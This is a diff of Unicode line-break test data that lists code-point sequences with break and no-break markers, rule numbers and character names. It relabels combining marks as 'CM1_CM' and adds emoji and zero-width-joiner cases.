-× 2060 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 2060 × 0308 × 0025 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] PERCENT SIGN (PO) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 2060 × 0024 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] DOLLAR SIGN (PR) ÷ [0.3]
× 2060 × 0020 ÷ 0024 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 2060 × 0308 × 0024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] DOLLAR SIGN (PR) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 2060 × 0308 × 0024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] DOLLAR SIGN (PR) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 2060 × 0022 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] QUOTATION MARK (QU) ÷ [0.3]
× 2060 × 0020 ÷ 0022 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 2060 × 0308 × 0022 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] QUOTATION MARK (QU) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 2060 × 0308 × 0022 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] QUOTATION MARK (QU) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 2060 × 0020 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [0.3]
× 2060 × 0020 × 0020 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 2060 × 0308 × 0020 × 0020 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 2060 × 0308 × 0020 × 0020 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 2060 × 002F ÷ # × [0.3] WORD JOINER (WJ) × [11.02] SOLIDUS (SY) ÷ [0.3]
× 2060 × 0020 × 002F ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 2060 × 0308 × 002F ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] SOLIDUS (SY) ÷ [0.3]
-× 2060 × 0308 × 0020 × 002F ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 2060 × 0308 × 002F ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] SOLIDUS (SY) ÷ [0.3]
+× 2060 × 0308 × 0020 × 002F ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 2060 × 2060 ÷ # × [0.3] WORD JOINER (WJ) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 2060 × 0020 × 2060 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 2060 × 0308 × 2060 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 2060 × 0308 × 0020 × 2060 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2060 × 0308 × 2060 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2060 × 0308 × 0020 × 2060 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 2060 × 200B ÷ # × [0.3] WORD JOINER (WJ) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 2060 × 0020 × 200B ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 2060 × 0308 × 200B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 2060 × 0308 × 0020 × 200B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 2060 × 0308 × 200B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 2060 × 0308 × 0020 × 200B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 2060 × 1F1E6 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 2060 × 0020 ÷ 1F1E6 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 2060 × 0308 × 1F1E6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2060 × 0308 × 1F1E6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2060 × 261D ÷ # × [0.3] WORD JOINER (WJ) × [11.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2060 × 0020 ÷ 261D ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2060 × 0308 × 261D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 261D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2060 × 1F3FB ÷ # × [0.3] WORD JOINER (WJ) × [11.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2060 × 0020 ÷ 1F3FB ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2060 × 0308 × 1F3FB ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2060 × 0001 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2060 × 0020 ÷ 0001 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2060 × 0308 × 0001 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2060 × 200D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2060 × 0020 ÷ 200D ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2060 × 0308 × 200D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 200D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 2060 × 00A7 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] SECTION SIGN (AI_AL) ÷ [0.3]
× 2060 × 0020 ÷ 00A7 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 2060 × 0308 × 00A7 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] SECTION SIGN (AI_AL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 2060 × 0308 × 00A7 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] SECTION SIGN (AI_AL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 2060 × 50005 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] <reserved-50005> (XX_AL) ÷ [0.3]
× 2060 × 0020 ÷ 50005 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 2060 × 0308 × 50005 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] <reserved-50005> (XX_AL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 2060 × 0308 × 50005 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] <reserved-50005> (XX_AL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 2060 × 0E01 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 2060 × 0020 ÷ 0E01 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 2060 × 0308 × 0E01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 2060 × 0308 × 0E01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 2060 × 3041 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 2060 × 0020 ÷ 3041 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 2060 × 0308 × 3041 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 2060 × 0308 × 3041 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 200B ÷ 0023 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] NUMBER SIGN (AL) ÷ [0.3]
× 200B × 0020 ÷ 0023 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] NUMBER SIGN (AL) ÷ [0.3]
-× 200B ÷ 0308 × 0023 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 200B ÷ 0308 × 0023 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 200B ÷ 2014 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] EM DASH (B2) ÷ [0.3]
× 200B × 0020 ÷ 2014 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] EM DASH (B2) ÷ [0.3]
-× 200B ÷ 0308 ÷ 2014 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 200B ÷ 0308 ÷ 2014 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 200B ÷ 0009 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 200B × 0020 ÷ 0009 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 200B ÷ 0308 × 0009 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 200B ÷ 0308 × 0009 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 200B ÷ 00B4 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] ACUTE ACCENT (BB) ÷ [0.3]
× 200B × 0020 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 200B ÷ 0308 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 200B ÷ 0308 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 200B × 000B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 200B × 0020 × 000B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 200B ÷ 0308 × 000B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 000B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 200B ÷ 0308 × 000B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 000B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 200B ÷ FFFC ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 200B × 0020 ÷ FFFC ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 200B ÷ 0308 ÷ FFFC ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 200B ÷ 0308 ÷ FFFC ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 200B ÷ 007D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 200B × 0020 ÷ 007D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 200B ÷ 0308 × 007D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 007D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 200B ÷ 0308 × 007D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 007D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 200B ÷ 0029 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 200B × 0020 ÷ 0029 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 200B ÷ 0308 × 0029 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 0029 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 200B ÷ 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] <START OF HEADING> (CM) ÷ [0.3]
-× 200B × 0020 ÷ 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] <START OF HEADING> (CM) ÷ [0.3]
-× 200B ÷ 0308 × 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 200B ÷ 0308 × 0029 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 0029 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 200B × 000D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 200B × 0020 × 000D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 200B ÷ 0308 × 000D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 000D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 200B ÷ 0308 × 000D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 000D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 200B ÷ 0021 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] EXCLAMATION MARK (EX) ÷ [0.3]
× 200B × 0020 ÷ 0021 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] EXCLAMATION MARK (EX) ÷ [0.3]
-× 200B ÷ 0308 × 0021 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 0021 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
